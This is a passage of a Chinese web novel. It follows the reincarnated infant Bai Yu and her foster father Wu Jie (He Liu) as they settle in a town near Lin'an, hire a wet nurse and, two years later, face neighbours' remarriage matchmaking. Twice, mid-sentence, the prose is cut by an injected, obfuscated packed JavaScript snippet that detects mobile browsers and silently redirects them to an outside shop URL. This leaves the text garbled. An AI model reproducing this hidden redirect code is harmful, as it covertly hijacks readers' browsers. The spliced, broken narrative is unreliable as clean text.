再次醒过来,他们似乎已经换了一辆马车,贺六抱着她靠坐在车壁上,好像在想事情,白羽醒了都没见他有反应,于是她只能发出声音示意自己要解决五谷轮回问题。 贺六从沉思中回神,伺候她解决了吃喝拉撒,白羽从他偶尔和车夫的交流中判断他们此行的目的地是临安城,目前已经走到了太湖地区,离临安越来越近了。 常听人说“烟花三月下扬州”,如今正是阳春三月,沿路风光无限,春景宜人,路边垂柳远看一片雾蒙蒙的新绿,有喜鹊登枝,“叽叽喳喳”高声语。 马车过城门而不入,继续往乡下小路走,白羽已经习惯了,贺六没有钱嘛,城里的房子肯定住不起的,乡下空气好,适合养孩子,挺好的。 大约又走了二三十里路,马车停在一个小镇边上,贺六抱起白羽从车中出来,付完剩余的赶路钱后,辞别车夫走入镇子里。 一条河流穿镇而过,河上远远近近都建有小桥,父女两人站在桥上往下看。初春天气,还不算太暖和,大中午的就有阿孃阿婆们在河边浆洗衣物,大人旁边有三两孩童在摸鱼逮虾,抓到一只便呼朋引伴叫嚷起来,好不欢乐。 贺六仔细分辨几人,然后定睛一看,问候道:“吴家阿姐,我是吴界,租您房子的人,我带我闺女儿搬过来了。” 那阿姐听有人叫她,把手在围裙上擦了擦,连忙循声望过来,看到贺六和他怀里抱着的襁褓,嘴里“哎呀呀”叫道:“是小吴啊,房子昨天就收拾好了,我这里还走不开,我让我家阿宝带你过去!”女人又扯开嗓子喊不远处凑作一堆的孩童:“阿宝!阿宝!带你这位小叔和妹妹去咱们家,找你爹拿钥匙开门!快点的,别玩了!” 一个四五岁的男童从河里趟出来,穿上鞋子后一路小跑到桥上,有些好奇地看着贺六怀里的婴儿,随后羞怯道:“叔叔跟我来吧。” 吴阿姐的男人是木匠,小孩找到他的时候,他正在后院刨木头,听孩子说了放下工具出来见人,头发里还藏着木屑,中年汉子腼腆地拍了拍身上头上的木头渣,笑着道:“慧玲说你这两天就要来,没想这么快就到了,幸好昨天就把那边的房子收拾出来了,等着啊,我去给你拿钥匙。” 贺六抱着孩子不好施礼,恭谨地冲他点点头,“多谢大哥,我和闺女在这边人生地不熟的,以后还要靠您两位多多关照。” “好说好说。”男人进了屋子,取出钥匙给他们,让小孩带着他们过去,自己又回去继续刨木头了。 他们的新家离吴阿姐家不远,就在同一条街的斜对角上,那小孩子把他们带到后就要跑,贺六连忙叫住他,从怀里掏出一块油纸包着的方糖递给他,让他拿着吃。 小孩儿得了糖,欢欢喜喜地跑开了。 贺六拿钥匙开了门,进屋后四下打量了一圈,然后把裹着白羽的小被子掀开一角对她说:“念儿,这是我们的新家,看看喜不喜欢。” 我说不喜欢你又不会换。白羽心道。 小小孩童像是真能听懂他的话一般,明亮澄澈的眼珠子转来转去,贺六惊讶,随即高兴道:“我们念儿真聪明!” 房子白羽看过了,条件比之前住的那个要好得多,正屋有三间房,架子床、衣柜、桌椅板凳这些家具都是新打的,抹了木蜡油,颜色亮亮的,床帐和帷幔估计是吴阿姐布置的,想着贺六有个女儿,特意选了靓丽鲜嫩的樱草色,看起来十分的春意盎然。 正屋左右有两间偏房,贺六没进去,白羽也不知道那里面是什么,想来不是厨房就是茅房。 院子也很大,左边垦了一大片地,可以种菜养家禽,右边都用沙石铺路,很是整洁利索,进来时看到角落还有一口压水井,以后吃水也很方便,总体上白羽是很满意的。 贺六把床铺好后,就把她放下来,自己端了盆打好水开始到处擦擦洗洗,眼里有活儿,勤快得很。 半下午时候,吴家阿姐洗完衣服回来,来他们这边看看情况,一进门看到贺六把什么都归置好了,出口就夸:“小吴兄弟,你真是个齐整人,看这收拾得干净的,不像我家那口子,把家里弄得跟狗窝一样,你女娃儿在哪呢?快让我看看!” 贺六汗颜,几个月前他也是什么都不会,学着收拾收拾房间,扫扫地,这么有手就会的家务活竟然就被夸成劳动模范了。 吴阿姐进门后,看到孩子睁着眼睛躺着,不哭也不闹,白白嫩嫩跟面粉团儿似的,喜人得很,她一下子眼睛看直了。吴阿姐生了两个都是小孽障,可怜她一心想要个女儿,多年都不能如愿,一看到白羽就喜欢得不行,轻轻碰碰孩子的脸,说:“小吴兄弟,你这女儿生得真好,看看这小脸儿白嫩的,五官模子也好,眼线这么长,双褶长睫,鼻梁又挺,长大了保准是个美人胚子!你有福气啊!” 贺六浅浅笑道:“孩子母亲当年就是个美人。” 这是白羽第一次听贺六提起她母亲,她还想听后面的故事,盼望贺六再多说点。 吴阿姐很上道地问:“诶?那孩子娘没跟着一起来啊?” “她母亲生她的时候难产过世了。”贺六轻声道。 吴阿姐沉默半晌,叹了口气,回身摸摸白羽的头,说:“孩子这么小就没了娘,你也不容易。” 不想继续这个话题,贺六想起一件重要的事,连忙向吴阿姐打听:“阿姐知道这附近谁家养羊吗?” “镇上没人养羊,你找羊作甚?” “孩子生下来就没了母亲,我问过产婆说是可以给喝羊奶,所以从小吃的就是羊奶,下车到现在还没吃呢,估摸着快要饿了。”贺六有些着急。 “这里还真没人养羊。”吴阿姐一听也急了,这么小的孩子还真不能饿着,她想了想对贺六说:“这样的,你抱着孩子跟我走,前面有户人家的媳妇儿刚生产不久,一个孩子是喂,两个孩子也是喂,你到时候给人掏点钱买些补品,也是两全其美的事。” 贺六就怕找不到吃的,花钱能解决的事情自然最好,抱起白羽就跟着她出门了。 这条街走到尽头,也是一户三间屋子的小院,吴阿姐站在门口喊人:“桂枝婶子在家吗?” 屋子里出来一个五十来岁的阿婆,看起来面容慈祥,看到吴阿姐就笑,问道:“慧玲啊,怎么了?” “婶子,阿香在家吗?有个事儿想跟她商量,您也跟着听听看愿不愿意。”吴阿姐说。 吴阿姐人缘儿很好,大家见了她都是一个笑脸相对,桂枝婶子就带着她进了屋子里。毕竟是女眷房间,且有产妇,贺六一个大男人不好直接进去,那两人进了里间,他就抱着白羽站在外面等。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780778|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道吴阿姐说了什么,没过多久她就从屋子里出来叫贺六,“小吴兄弟,走,你跟我进去,阿香媳妇说想见见你跟孩子。”她左右看了看,小声道:“我觉得她是同意了,就是想看看你和孩子长什么样子。” 贺六有了底,悬着的心放下不少,问道:“毕竟是女眷坐月子,我一个男人进去是不是不太好啊?” “她婆婆也在呢,衣服都穿好的,何况你也抱着孩子呢,没那么多忌讳,走吧。” 吴阿姐走在前面,贺六跟在她后面,掀开一道门帘后进了里间,刚才见到的桂枝婶子也在,床上坐着一个二十多岁的年轻妇人,头发裹在头巾里,穿一身夹袄,有个跟白羽差不多大的婴孩躺在妇人身边。 两方介绍过后,贺六把孩子递给那妇人看,盖着的被子一角掀开,房中两人齐齐抽气,都没见过这么漂亮的孩子,玉雪可爱,黑黑的眼睛像两颗墨玉葡萄一般,机灵劲儿仿佛是天生的。 阿香看过人家的孩子,再回头看自己的儿子,心里好不是滋味,人家怎么那么会生,把孩子生得那么漂亮,怪来怪去,最后把错全推到孩子他爹身上,肯定是因为他长得磕碜的缘故。 这女娃阿香一看就喜欢,再看这个孩子爹,长得高高大大,眉清目正的,进来一点没乱看,一看就是个家风清正的人家,她二话不说就同意了。 接下来就是商量给补偿的事,这事儿吴阿姐就不好掺和了,容他们自己去商量。 阿香看看她婆婆,想说少要一点吧。这孩子她看着就喜欢,她奶水也多,这吴大哥一个人带着孩子也不容易。儿媳妇的意思桂枝婶子看懂了,点点头表示同意。 阿香正准备说,每月给个一百文钱就行,谁知这吴大哥却先她一步开口。 “我每月付您五两银子,外加一斤猪肉、一斤鸡蛋,您看是否可行?”贺六试探问道。金陵城中,皇室子弟乳母每月十两月银,另有布匹棉花,米肉油盐补贴,普通官宦人家大抵也就是这个价位,贺六怕她不乐意,还加了猪肉和鸡蛋为辅。 阿香一听吓一跳,他开出的价码比她想得高了几十倍,明明可以昧着良心应下,但她也是为人父母的,知道养儿不易,忙推辞道:“吴大哥给的太多了,就算是我们镇上最大的富户请奶娘,每个月一两银子也就是了,何况我也不是专门给你女儿喂,我还有个孩子也要吃,您就看着给个一两百文钱就行。” “阿香娘子心善。”贺六也算是看清了这家人为人良心,但他有自己的考量,依然坚定道:“这是我能给出的最好的条件,其他人如何我不管,我只是希望我女儿可以得到更好的对待,这孩子刚一落地就失去母亲,希望娘子喂养她时尽心,这就是我最大的心愿。” 贺六最后打起了感情牌,听在几位妇人耳中就是为人父亲拳拳爱女之心,女人最是感性,几欲落下泪来。 阿香心里也是酸酸的,最后说好一天喂四顿,夜间要吃,就提前挤了拿回去,晚上起夜热一热就能吃。 贺六放下心头一件大事,阿香听说孩子到现在还没吃,伸手抱过来就要喂。贺六拱手行礼后连忙退出了房间。 房里只剩下女人,那男婴一直睡着没醒。 桂枝婶子看着小女孩儿饿了吃得正香,思及自己刚才心里的想法,悄声问吴阿姐:“这对父女风度看着不一般啊,你从哪找来的人?” 吴阿姐“嗐”了一声,心道能一般吗?谁家养孩子能眼都不眨每月拿出五两银子、一斤猪肉、一斤鸡蛋只是喝奶,她也不能多说,只道:“这我哪能知道?他是托人找到的我,只说是我那远房表亲,想搬家找个环境好的地方住,我一想我家刚好有空房子,就收拾了让他来住,其余情况我是一点儿不知。” 她们这头说话,阿香边喂边说:“这孩子真乖,不言不语,不哭不闹的,只一味埋头吃。” 白羽终于吃饱了,开始扭头推拒,阿香穿好衣服把她抱起来,顺着后背拍了拍,听她打出嗝来就停了手。 “孩子爹还在外面等着吧?”阿香把白羽递给吴阿姐,嘱咐道:“这会儿半下午吃饱了,估计刚入夜就会饿,让他再抱过来就是。” 吴阿姐抱起这襁褓里的粉团子,点点头就出了门。出来后把孩子递给等着的贺六,给他说了让入夜的时候再抱过来喂。 贺六道了谢,又跟她们道别后抱好白羽回家。 白羽吃饱了,又听了一肚子琢磨不透的话,这下才有闲心细想。 贺六应该不是她生父,但他估计跟她母亲熟识,目前来看她生父暂时不知道什么情况,应该是她母亲生她时难产,把她托付给贺六照顾。贺六的身份也是个谜,他待人接物,有尺有度,有大家之风,但生活上又很拮据,居无定所,手上的茧子,眼里的杀戮气又能说明他是个刀口舔血的“练家子”。 真是不合理,他说自己叫吴界,也不知道是真名还是假名? 每天张嘴闭嘴叫她“念儿”,难不成给她起的名字叫吴念?吴念,勿念。也不好听啊! 白羽还是喜欢她师父给她起的名字——白羽。 很符合她的身份。 她在心里打定主意,等她会说话了,要把自己的名字改过来,就还叫她的本名白羽。 就这样,他们父女二人在临安城周边的小镇上安了家,周围邻居都是和善人,小孩子见风就长,转眼间,白羽两岁了。 27. 分歧 白羽是腊月生的,这一年春节刚过,她两岁了。两岁的孩子正是最好动最好玩的时候,吴界却觉得他女儿不太正常,也不是说不正常,就是太过正常,显得有些超出年龄的不正常。 白羽自从周岁左右会说话了,第一句不是叫吴界这个“假爹”,也不是寻常孩童开口就会叫“娘”,她说的第一句话是:“白羽。” 吴界当时没反应过来,追问了一句:“你说什么?” 她用奶声奶气,咬字还不甚清晰的声音一本正经地说:“叫我,白羽。” 吴界登时就炸了,他没养过孩子,不知道别人家的孩子小时候什么样,但他女儿绝对不正常。她一岁把自己的名字从“沈念”改成了“白羽”。一岁半走得稳路了就开始要书看,吴界当时以为这是个“文曲星”下凡,还乐了一阵子,想着估计是继承唐琢读书人的基因了,但她不看四书五经,不看经史子集,也不看诗词歌赋,偏挑史书去看,野史杂谈、游记八卦、志怪话本也爱看,这么多怪异行为下来,好像一岁多就识字也不是什么难以接受的事情了。 镇上有一家武馆,武馆的年轻师傅前几年离开了,一直都是一名老师傅带着孩子们练武,这老师傅自从知道吴界身手不错后,就邀他去武馆教学,聘他当武馆的老师。 开始邀了几次,吴界都推辞不受,后面来得多了,他想虽然他有积蓄不至于坐吃山空,但没有个正经营生,别人也会对他们父女说三道四,为了免去那些麻烦,他就去武馆当了一名武师傅。 白羽从小在武馆长大,却没对习武有一丝半点兴趣,吴界遗憾自己一身武艺无人传承,于是把精力都耗费在武馆那些小娃娃身上了。 这日傍晚,吴界从武馆回家,家中一片安静漆黑,他心里有疑,往常这个时候念儿都从王夫子家回来了啊? 他在院子里打水洗手,压水井“嘎吱嘎吱”的声音一边响,他一边冲屋里高声喊:“念儿!爹回来了,你在家吗?” 一连叫了两三遍都没人答应,吴界擦干手往屋子里走,房间里巡索一圈也没见自己小女儿的身影,他饭也不做了,关了门就去王夫子家接人。 王夫子是从金陵来的,他年轻时候是翰林院的侍读学士,还给皇子讲过学,为人和蔼可亲,学富五车,见多识广,白羽特别喜欢跟在他身边问东问西。吴界见女儿不爱学武却喜欢跟着一个老学究跑,无奈只能交了束脩,正经让白羽拜了王夫子为老师。 王夫子的夫人早亡,几个子女夭折的夭折,远嫁的远嫁,他年龄上来了,也不想孤身一人待在金陵冷冷清清,便辞官来到他夫人祖籍临安休养,身边只有两个小厮和一个童子伺候。 吴界来到王夫子家门前,上前扣门后,一个小童打开门,脑袋钻了出来,吴界问:“沈念还在夫子这里吗?” “沈念?谁啊?”小童不解,没听说过这个人。 吴界才想起来,他女儿在外面的名字是白羽,忙改口道:“白羽,白羽还在夫子家吗?” 小童“噢”了一声,白羽他认识,回答道:“她一个时辰前就走了,今天课结束得早。” 散学了也不回家,能去哪呢? 吴界道过谢后,先去了吴阿姐家问有没有见过白羽,吴阿姐今天走亲戚去了,没在家。他想了想转头又去了阿香家。 白羽喝阿香的奶喝到八个月就不肯再喝了,但是两家人也因此没断了联系,阿香的儿子小胜跟白羽同岁,特别喜欢跟在白羽后面跑,白羽做什么他做什么。因为白羽喝奶那几个月吴界月钱给得足,阿香一咬牙也给她家小胜送去王夫子那儿读书了,吴界想着过来碰碰运气。 篱笆墙内,阿香家院子里没人,只有几个小孩玩的木头圆球在地上躺着,吴界叫了一声,小胜虎头虎脑地跑了出来。 吴界问:“小胜有没有看见我们家念儿去哪了?” 小胜往家里一指,高声说:“在我们家吃饭呢!”一边往回跑一边喊:“白羽白羽,你爹来找你了!” 阿香听到了也出门看,一看是吴界,忙邀请道:“吴大哥来了,念儿在我们家呢,你没吃的话在我家一起吃了吧。” 吴界跟着阿香进门,饭桌前桂枝婶子也在,还有阿香的丈夫,吴界一一打过招呼后,看向坐在一边的小女孩,早上出门梳的头发到了晚上一点没变样,一看就是阿香又给重新梳过了。 吴界走过去摸了摸她的头,小声抱怨:“散学了怎么不去武馆找爹,回来看到你没在家,让爹好找。” 白羽嚼完嘴巴里的饭菜,才说:“我不想去武馆。” 阿香这时端着一碗盛好的米饭走来,放在吴界面前,才给他解释:“这不怪念儿,是我不好。我下半晌从菜园里回来,经过你家门口的时候看到她一个人孤零零地坐在院子里看书,想着刚好要做饭,就把她叫来我家了。” “这怎么好怪你。”吴界心里也有愧疚,想着当初沈言晴把孩子托付给他的时候,嘴里念叨的都是让他好好照顾念儿,他是怎么照顾的?让她从小颠沛流离,女孩儿家本来应该锦衣玉食养在闺中,但她从小就跟他在武馆里看尽粗鲁的招式,从会走路起就是一个人待着看书,也没有同龄的玩伴儿,每天等他回来了才能开饭。 吴界转头去看小小的两岁多的孩子,这可是唐琢和沈言晴的女儿啊! 他怎么给养成这样了? 吴界咽下心里的难受劲儿,拿起筷子给白羽夹菜,口中继续对阿香说:“我还要多谢你时常替我照顾念儿,我这个父亲做的不合格。” “你……”阿香话到嘴边咽下去了,她看着两个正在乖乖吃饭的孩子,想着这话在孩子面前说不合适,还是待会儿先跟吴界通个气,转过话头反驳他:“这说的哪里话!我把念儿当我亲生女儿一般,我喜欢这小丫头,吴大哥这话就见外了!” 吴界笑了笑,没再说了,心里想着他要跟武馆的老师傅谈谈了。念儿还小,如今正是需要人陪伴照顾的时候,不能整天都泡在武馆教一群半大孩子耍枪弄棒。 吃过饭后,阿香让白羽和小胜去院子里玩会儿,他们四个大人在房里谈话。 阿香看看吴界,先起了个话头,“吴大哥别嫌我多管闲事,以咱们两家的关系,我肯定是盼着念儿好的。你有没有想过再找一个?大嫂我没见过,但知道那肯定是个极好的人,让你念了这么多年。但念儿现在也大了,女孩儿还是需要母亲陪伴长大的,你一个男人即使再能干也代替不了母亲的分量。” 一番话把吴界给说愣了,他以为留下他要说什么事呢,怎么是催他“找二婚”?他连头婚都没有呢!再说他与沈念母亲也不是众人以为的关系,念儿也不是他的亲生女儿,不过这些事没必要跟外人摊开了说。 吴界苦笑道:“阿香妹子别说了,我从来没想过要给念儿找‘后娘’。” “其实你条件挺好的。”阿香以为他是嫌自己年龄大了不好找,怕耽误人家姑娘,又劝说道:“咱们镇上有好几户人家都想找我和我娘,还有慧玲姐给你说亲呢,女方有的是因为一些特殊原因耽搁了,有的是人太勤快男人懒死了寡居的,有的是跟你一样带着孩子的,都是踏实肯干的好女人,也都说会好好对待念儿,就是看你愿意的话见一面。” 真可怕,怎么还没完没了了。 吴界自小父母双亡,过惯了刀口舔血有今天没明天的亡命生涯,也没人给他张罗婚事,是以今年三十有七,未有家室,除了一个白得的女儿。 院子里,白羽知道那些大人赶他们出来是有私密话想说,她不太在意,偏小胜那个淘气鬼耳朵贴在窗边偷听,一会儿一惊一乍的,给白羽弄得烦不胜烦,正想离他远点。 她走远了,小胜偷听完悄悄跟她说:“你爹要给你找后娘了,我刚才听到我娘说要找人跟他见面呢!” 哈?贺六要找“第二春”?他那么大年纪了能找到吗? 白羽想起她曾经跟牡丹讨论过有关紫翎仙君和宣兰的往事。这么一想也不是不成,一个一个看下去万一就给他找到宣兰了呢! 上一世没来得及帮他找,一场兵祸袭来,他们全都跟太子死在了敌营里。这一世她提前看书了解过,这个朝代名“乾”,建都金陵,建朝百余年,目前来看政局还算安稳,从她老师王夫子那里了解过,当今是一个有雄图大志、野心勃勃的改革家,太子未立,皇子也生了不少,资质都还不错,也不会选个孬种当继承人。 所以,照目前来看,未来几十年的安稳是有的,帮叶启找宣兰的事也该提上日程了。 小胜看白羽没什么反应,他一下子担心了,但他娘不是后娘,他也不知道有了后娘会怎么样,联想到他娘骂他把她气死了,让他爹给他找个后娘,后娘给他吃猪食,让他睡牛棚,白天还要上街乞讨,晚上给一家人洗衣服,他后怕地打了个激灵。 小心翼翼地安慰白羽:“你……你别怕,你爹要是真给你找了后娘,大不了我以后再也不惹我娘生气了,你后娘要是欺负你,你就来我家住,我保护你!” 白羽正想计策呢,小胜“叽里咕噜”说一大堆什么亲娘后娘,白羽听不懂也不想听,一句话了解:“我支持我爹找后娘。” 小胜震惊了,跟看怪物一样看着白羽。 屋子里谈话还在继续,吴界被三人一起劝说找个女人一起养孩子的好处,可是他根本不想找。以他这三十余年来的见闻,他不相信世上会有人真心实意对不是自己血缘的孩子好,别跟他说什么“老吾老以及人之老,幼吾幼以及人之幼。”,那是圣人嘴里的大同社会,不是如今这个等级森严、弱肉强食的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780779|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封建帝制父权社会。 找个女人操持家务,照顾念儿,那他这个父亲干什么呢?沈言晴把女儿托付给他,就是相信他能好好照顾念儿,而不是责任转嫁,找另外一个女人照顾念儿。 那人真心对念儿好也就罢了,倘若不是,小孩子心思最是脆弱敏感,到时候伤害已经造成了,即使他再跟人分开,也于事无补。所以有时候一成不变的生活也是求之不得的,没必要没事找事,给日子加点难度。 找后娘,他不愿意,念儿也不愿意。 吴界仔细回想沈言晴的音容笑貌,努力装出一副思念亡妻欲绝的神态,凄凄切切道:“念儿母亲与我青梅竹马,感情甚笃,以至成年结亲后也是相敬如宾,无奈她为产下念儿撒手人寰,竟离我们父女而去,我这辈子是绝了续弦的念头了,阿香妹子和桂枝婶子也不要再提起这些伤心事了。” 话已至此,阿香他们也不敢再多说什么了,只是在心里感叹吴大哥用情至深,可怜那个素未谋面的念儿母亲没能与他长相厮守。 晚上,吴界和白羽回到家,打水洗漱过后吴界把白羽拉到一边跟她打商量,“念儿,爹想问你是不是觉得爹每天太忙了,都没有时间陪你照顾你?” 白羽皱眉,觉得他怎么会这么想,嘴上回答道:“不觉得,我每天也很忙的,每个人都有自己的事情要做不是很正常的吗?” 吴界词穷,心道又来了又来了,这句话说出来就很不正常啊!他记得沈家人不这样,改天有空了要去查查唐家人是什么性格,怎么给他们家念儿传成这样了。 他试图耐心教她当一个正常两岁的孩子,谆谆善诱道:“可是你才两岁啊,两岁的孩子是很需要陪伴的,要不爹把武馆的活计推了,每天就待在家里给你做饭,陪你读书好不好?” 不干活了,你有钱养我吗?白羽心道。 她很早就有疑惑了,贺六到底哪来的钱给她付小胜他娘的母乳钱,那个时候他还没在武馆授课吧,再说武馆的薪俸每月也就一两银子,就算他提前预支也不够付她吃奶那半年的几十两银子,别说还有每月买肉和鸡蛋的钱,毕竟他不像是小有积蓄的人。 “别了吧,”白羽婉拒道:“咱家没有那么多钱供两个人白吃白喝,再说你要是不去武馆教学,家里没有进项了,王夫子那里每年的束脩也不是个小数目。何况我幼时住的地方那么破落,别如今日子稍微好过一点了,你就开始挥霍了。所谓‘富贵不能淫,贫贱不能移,威武不能屈’是也。” 吴界:…… 不是,这你也能记得! 吴界心里乱乱的,那个时候他刚从沈言晴那里把她接回来,临时在金陵京郊找了个院子先住下,等那边的事情都办利索了,他在临安找好住所才搬了过来,她那个时候能有三个月吧?三个月的婴儿,记事吗? 白羽看他不说话,问道:“还有事儿吗?没事我要去睡了,明天还要去夫子那里上课。” 吴界:…… 白羽没等到回应,自顾自转身准备回房休息,走到一半她突然想到什么,回头对吴界说:“我虽然知道家里没钱,不过我还是支持你再找一个的。” 吴界:…… “你,你从哪里知道的?”吴界艰难问道。 “小胜偷听到你们说话告诉我的。”白羽卖队友卖的利索,“他说阿香姑姑想给你介绍相看,和你一起照顾我。” 吴界问:“你怎么想的?” 白羽一摊手,“我没意见啊,我说了我支持你再找一个。” 好大度的女儿。 吴界咬牙,觉得自己一片真心喂了狗,他这里患得患失害怕继室对她不好,人家可不这么想,说不定早就想感受“母女温情”了呢! 吴界有些为沈言晴不值,拼死拼活生下这个女儿,自己难产身亡,偏她如此天真而残忍地支持“父亲”再娶。可仔细想想又不能怪她什么,他从来没跟她说过已过世母亲的情况,也不能想当然地要求她让“父亲”为母亲“守节”。 但是……那些都是不能说的事。 白羽不明白他怎么突然脸色难看起来,支持他找“第二春”还不乐意吗?史书上多的是想“升官发财死老婆”的“陈世美”,装什么? 再说了,他又不是她亲爹,没道理她这个养女为亲生母亲要求养父守身如玉的,多没天理啊! 两个人互相不理解对方,一场本该温馨的父女谈话到此截止,吴界窝了一肚子愤懑、委屈、不值,白羽带走了一腔不驯、费解、好心当成驴肝肺,各自回房沉默睡下。 白羽躺在床上,闭着眼睛想怎么实施她的计策,既能让吴界配合,也能搜集更多人的信息,好从中筛选出符合宣兰特点的人。 想着想着,她突然冒出了一个绝佳的主意。 28. 相看 第二天一早,吴界早早起床做好早饭,掐着白羽醒来的点儿出门了,不想见她。 白羽一夜好睡,早晨啁啾的鸟鸣将她从睡梦中唤醒,遂神清气爽地穿衣洗漱。出来看到桌上用棉布盖着的早饭,走近了伸手一探,略烫。 她又去吴界房里找了一圈,被子叠得整整齐齐的,像没睡过一样,今天出门这么早? 吃完早饭,她就自己关门去了王夫子家。 王夫子目前就收了两个学生,一个是白羽,另一个就是小胜,两个孩子年龄都小,讲课进度却不同,小胜还在启蒙阶段,白羽都已经能和他辩“当朝大儒为母寻亲,其母系幼时走失,至亲寻得获知非其母自行走失,而是其父母见其为女身,与人伢合谋发卖,其母半路出逃,磕破额头意识混乱,自以为贪玩迷路走失,不辨家在何方,后该儒以血脉亲缘不易断绝为由,劝和其母与新得外祖一家相认”此行为是否为真“孝”? 师生各执一词,白羽以为寻亲是否为真孝另说,劝说相认则是维护自己的面子,不顾母亲心意。王夫子不以为然,他认为过去的是非对错都已过去,人生如白驹过隙,又能有多少时日用来争个对错,况其母已是耳顺之年,外祖父母又为耄耋老人,千里寻亲不易,不如珍惜为数不多的相处时光。 谁也说服不了谁,王夫子把白羽赶去写大字了。 白羽边写边趁机提出另一辩题。 “老师,为人子女,孝道当先。凡事应以母父之忧为忧,以母父之喜为喜,想父母之所想,忧父母之所忧,此合乎子女之道也?” 王夫子捋着一把花白的美髯连连点头:“然也!” “倘若有一父鳏居多年,其子女不忍父亲孤苦,为其相看续弦,此人伦之道否?”白羽又问。 王夫子点头:“倒也合乎孝道,此前亦有典故佐证,皆传为后世美谈。” 白羽满意地笑了笑,抓起自己刚练的一张大字给王夫子看,“老师看我写得怎么样?” 白羽再怎么展示自己年少聪慧、一点就通,可她身体就是个两岁多的孩童,腕力不足、五指抓握有限,写出来的字就是歪歪扭扭、走线不直、轻重不分的。 王夫子看得连连摇头,“还是得练啊!” 白羽把大字拿回去,听话的练字去了。 再说吴界,他比往常早半刻来到武馆,老师傅正在擦洗兵器架,他平常就睡在武馆后院,年纪大了觉又少,都是早早起来忙活等着学武的孩子上门,听见门口有动静,回头一看竟是吴界,纳闷道:“今日怎么来这么早?” 吴界心不在焉的,看见程老又想起了他昨天跟念儿提起要辞工的事,话至嘴边又吞了回去,换一种说法:“程老,我有件事想跟您商量。” 看他口风,程老心头一紧,把抹布扔回水桶里,站稳了才道:“你说吧。” “您也知道我的情况,我还有个才两岁的女儿,她小时候就跟着我在武馆跑,我能照看到她也算心安,如今拜了老师念书去了,我每日回家太阳落山,我们父女才能做饭吃饭,很少有时间能陪她。”吴界说:“我想我能否缩短待在武馆的时间,半下午就走,这样既不耽误武馆授课也能多留出点时间陪闺女,当然工钱给我减半就行,您看如何?” 他说完程老大大地松了一口气,抚着心脏道:“当然可以,干半天也行,你突然说起这个吓得老朽以为你要走。你女儿确实还小,当初也是老朽厚着脸皮非拉你来武馆的,以你的能力确实没必要埋没在这里。” 吴界闭眼一笑,摆摆手客气道:“程老说这个做什么,您一个人撑着这偌大的武馆也是不容易,我既有这能力吃这碗饭,能来也是天意。” 事情谈妥后,没过多久,来武馆上课的孩子就到了,两人开始教习动作,指挥练习,一上午的时间很快过去。 中午吴界要回家给白羽做饭,按照一般的时间,他饭菜做好白羽就回来了,今天饭菜都已端上桌却还不见她人。吴界心道,不会又去阿香家蹭饭了吧? 他用棉布盖好杯盘碗碟,保温防蚊虫,就准备出门去找她,刚拴好门,一转身就看见白羽站在他身后,脸上还有一道墨痕,一脸不解地蹙眉问他:“你要出门吗?” 吴界又把拴好的门打开,叹口气道:“我是要出门找你,今天怎么晚了一点?” “夫子训我写的字难看,多骂了几句。”白羽进了门,满不在乎地说道。 这王夫子也真是的,不看看念儿才多大,两岁的孩子能认字就不错了,他还想让她写一手多漂亮的字啊!吴界在心里骂道。 嘴上却说:“王夫子毕竟是师长,他说你你就听听,别往心里去。你还小呢,字慢慢练就是了。” 白羽敷衍地点点头,她本来就是一个“左耳朵进右耳朵出”的人,也不用担心她会因为别人说两句就发愤图强、“头悬梁锥刺股”,然后一鸣惊人,好血洗前耻。她就不是那样的人。 洗手后,父女俩坐下吃饭。 吴界之前做饭手艺不好,他只会一锅炖,什么土豆、番薯、白菜、豆角炖河蟹、炖海虾、炖鱼、炖猪肉、炖鸡、炖排骨,也不能说这些没营养,但就是卖相不好看,味道也难吃。 白羽已经算是不挑食、不重口欲的孩子了,吃他做的饭也是迫不得已勉强维持生计,根本没有什么幸福可言。 吴界心疼女儿,一门心思钻研厨艺,还真让他学出师了,如今两个人,简简单单四菜一汤,八宝红烧肉、蒜蓉虾、清炒笋片、凉拌木耳、海菜豆腐鱼丸汤,色鲜味美,堪称一绝。 他们家没有饭桌上谈事情的规矩,贺六一边给白羽剥虾,一边照顾她吃饭给她夹菜,虾剥完了他才开始自己吃饭。 等两人都吃差不多了,他才正色道:“念儿啊,爹先跟你道个歉。” 白羽本来都准备下桌了,听闻此言动作一顿,心道:他道哪门子歉?我俩有矛盾吗? “爹不能因为你懂事独立就把你一个人扔在家里,自己先出门,你才两岁而已,是爹气昏了头,以后不会了,你原谅爹。”吴界诚恳反省自己。 “这没关系。”白羽大度地说,她话音一转:“可是就算你在家也是我自己去夫子家上课啊,你先出门还是我先出门没什么分别吧?” 吴界:…… 这个不提,他又说起武馆的事,“爹今天早上跟程老师傅谈过了,说好以后半下午就能提前走,你不用散学后还要等爹回家才能吃上饭,爹就在家做好饭等你回来,你说好不好?” 白羽点头,也是好事,他不用那么忙了,找宣兰的事也能提上日程了。 吴界欣喜,他就知道念儿还是希望他能多陪陪她的,只是不好意思说。 吃过午饭,略微小睡一会儿,两人带着各自的心思去上课授课。 下午快散学时,白羽问小胜:“你娘在家吗?” “在呢。”小胜不明所以,问道:“你要去找我娘吗?” “嗯。”白羽点头,“等会我跟你一起回家。” 她那个计策要实施少不了阿香姑姑的帮忙,提前去把她拉到自己这边才是明智选择。 